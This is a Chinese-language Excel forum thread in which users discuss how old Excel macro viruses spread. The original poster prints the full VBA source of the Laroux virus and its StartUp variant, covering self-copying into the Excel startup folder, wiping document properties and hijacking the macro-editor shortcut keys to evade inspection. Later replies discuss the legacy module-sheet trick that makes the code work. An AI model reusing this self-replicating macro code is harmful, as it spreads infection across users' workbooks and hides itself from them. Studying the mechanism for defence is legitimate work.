ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
楼主: HUNGCHILIN

[讨论] 簡易的EXCEL宏感染原理檔案

[复制链接]

TA的精华主题

TA的得分主题

发表于 2012-2-22 20:41 | 显示全部楼层
正常宏可以运行,病毒运行时,“office 病毒专杀迎春版”提示阻止宏病毒运行。

TA的精华主题

TA的得分主题

发表于 2012-2-22 21:04 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
本帖最后由 baomaboy 于 2012-2-23 08:34 编辑
lzqlaj 发表于 2012-2-22 20:41
正常宏可以运行,病毒运行时,“office 病毒专杀迎春版”提示阻止宏病毒运行。


--------------------------------

TA的精华主题

TA的得分主题

发表于 2012-2-22 21:14 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
本帖最后由 baomaboy 于 2012-2-23 08:34 编辑
lzqlaj 发表于 2012-2-22 20:41
正常宏可以运行,病毒运行时,“office 病毒专杀迎春版”提示阻止宏病毒运行。


............................

TA的精华主题

TA的得分主题

 楼主| 发表于 2012-2-22 22:05 | 显示全部楼层
本帖最后由 HUNGCHILIN 于 2012-2-22 23:18 编辑
excelhomeljch 发表于 2012-2-22 18:10
楼主对病毒有些研究
想请教一下,典型的startup病毒是怎样在新文件中添加startup模块的?


startup病毒是怎样在新文件中添加startup模块的?

startup是Laroux 的變種感染程式
Laroux 巨集病毒其延伸變種病毒為有許多其中較著名的有:
1.BINV.XLS
2.StartUp
3.RESULTS
等多種

病毒名稱:X97M_Laroux.A ,別名:Laroux, Laroux.A, XM_Laroux 。病毒特點:aroux是第一個為MS Excel編寫的巨集病毒。當被該病毒感染的文檔打開時,宏Check_ files被喚醒,並且PERSONAL.XLS被感染。其他檔也會在活動時被感染,檔屬性部分的標題、主題、作者、關鍵字和內容被病毒清除。該病毒不是破壞性的,它的宏也不對用戶隱藏,可以用Excel的工具--巨集選項找到它。 除了複製,該病毒無重大意義。它感染Excel工作表,創建一個名為Personal的隱藏工作表,被感染的檔包含模組laroux,被感染的工作表包含宏“auto_open”和“check_files”.
  該病毒會安裝一個被感染文檔到檔夾XLSTART,任何在檔夾XLSTART中的Excel文檔在啟動Excel時被裝載病毒
。 如果XLSTART路徑下已存在名為PERSONAL.XLS的檔,病毒就不會對系統進行感染。


Laroux病毒原型碼:

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub
--------------------------------------------------------------------------------------------------------------------------------------------------------
Startup病毒碼:

Startup模組中
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub


--------------------------------------------------------------------------------------------------------------------------------------------------------
結論
這幾個感染程序用到下列3個重點
1.Application.StartupPath  '私用啟動位置
2.Application.OnSheetActivate = ""   '舊版vba OnSheetActivate屬性

3.ThisWorkbook.Sheets("StartUp").Copy '一般sheet copy用法

上述程式碼是開放的,但很多人看完還是做不出來如何感染.就算你看完程式
最重要的是第3點不懂,是什麼也做不出來。

關於第3點原理作法說明:http://forum.twbts.com/thread-51-1-1.html

雖然微軟後續防止了很多位址不能運行宏,但我不認為 檔案儲存位置是最重要的 還是有很多辦法可以運作

TA的精华主题

TA的得分主题

发表于 2012-2-26 21:10 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
本帖最后由 kangatang 于 2012-2-27 00:42 编辑

繁体字看得比较累。
我试用了一下,这个已经是病毒成品了。

XLSTART下都被我用非病毒同名文件霸占,所以省去了老是感染的麻烦

我觉得真正的神秘之处在sheets("HTESTVI")之中。每次执行
Workbooks("HTESTVI.xls").Sheets("HTESTVI").Copy before:=Worksheets(1)
就会插入一个module.
很奇怪,插入sheet, 居然同时也插入了模块。

我用代码查看sheets name,和VISIBLE属性.
Sub test()
Dim i As Integer
For i = 1 To ThisWorkbook.Sheets.Count
   MsgBox Sheets(i).Name
Next
MSGBOX ThisWorkbook.Sheets(1).visible
End SubHTESTVI确实存在,而且是VERYHIDEN (返回 -1)

我把该模块手工删除后,sheets("HTESTVI")也随之消失了。
如果用执行sheets(1).delete后,模块也相应消失了。
更觉得奇怪。

因为所学有限,我觉得sheets("HTESTVI")中的东西我们EH坛里只有少数人知道。



TA的精华主题

TA的得分主题

发表于 2012-2-27 01:02 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
HUNGCHILIN 发表于 2012-2-22 22:05
startup病毒是怎样在新文件中添加startup模块的?

startup是Laroux 的變種感染程式

这些代码如果放到一个新建的MODULE中,运行,根本不会感染。

所以还是另有神秘之处,未公开啊。

TA的精华主题

TA的得分主题

发表于 2012-2-27 12:46 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
本帖最后由 kangatang 于 2012-3-7 15:32 编辑

感染原理,原来是这样的:
http://club.excelhome.net/forum.php?mod=viewthread&tid=836323&extra=

TA的精华主题

TA的得分主题

 楼主| 发表于 2012-3-7 23:43 | 显示全部楼层
測試出的只是一個運行結果.並不是原理
如果真的知道原理.所測出的方法將不是只有這種作法.而是非常多種將超過4種以上

且在此方法在應用上會有非常多的變化.絕對超乎你的想像

TA的精华主题

TA的得分主题

发表于 2012-4-7 01:30 | 显示全部楼层
HUNGCHILIN 发表于 2012-3-7 23:43
測試出的只是一個運行結果.並不是原理
如果真的知道原理.所測出的方法將不是只有這種作法.而是非常多種將超 ...

officefan版主啊,你给的链接都进不去。比如这个
http://forum.twbts.com/thread-2422-1-1.html

TA的精华主题

TA的得分主题

发表于 2012-4-8 09:42 | 显示全部楼层
本帖最后由 baomaboy 于 2012-4-8 10:37 编辑
kangatang 发表于 2012-2-27 01:02
这些代码如果放到一个新建的MODULE中,运行,根本不会感染。

所以还是另有神秘之处,未公开啊。


其实这个技术的神秘之处最关键的就是其中的模块不是普通的模块,所以你新建的module根本不行。
那么问题的关键转移到那个特殊的模块是怎么形成的,其实很简单,宏在老版本excel中不是以模块而是以表格形式存在的模块表,用新版excel打开时会自动把模块表识别为模块,所以你眼睛看到的和你用新版建立的模块长的一模一样的特殊模块就形成了,然后那些操作语句就全部好用了。
那些语句只对特殊模块(模块表格转化的)模块起作用,新建的模块不行!

特殊模块产生原理:
http://club.excelhome.net/forum.php?mod=viewthread&tid=836323&page=1#pid5821922
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-12-22 19:43 , Processed in 0.042965 second(s), 9 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表